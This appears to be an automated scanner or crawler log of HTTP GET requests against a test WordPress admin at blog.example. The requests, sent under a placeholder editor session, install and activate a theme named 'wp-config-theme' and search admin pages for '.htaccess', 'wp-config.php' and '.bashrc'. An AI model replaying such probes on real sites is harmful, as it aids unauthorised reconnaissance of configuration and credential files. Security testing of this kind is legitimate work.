{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=wp-config-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=wp-config-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
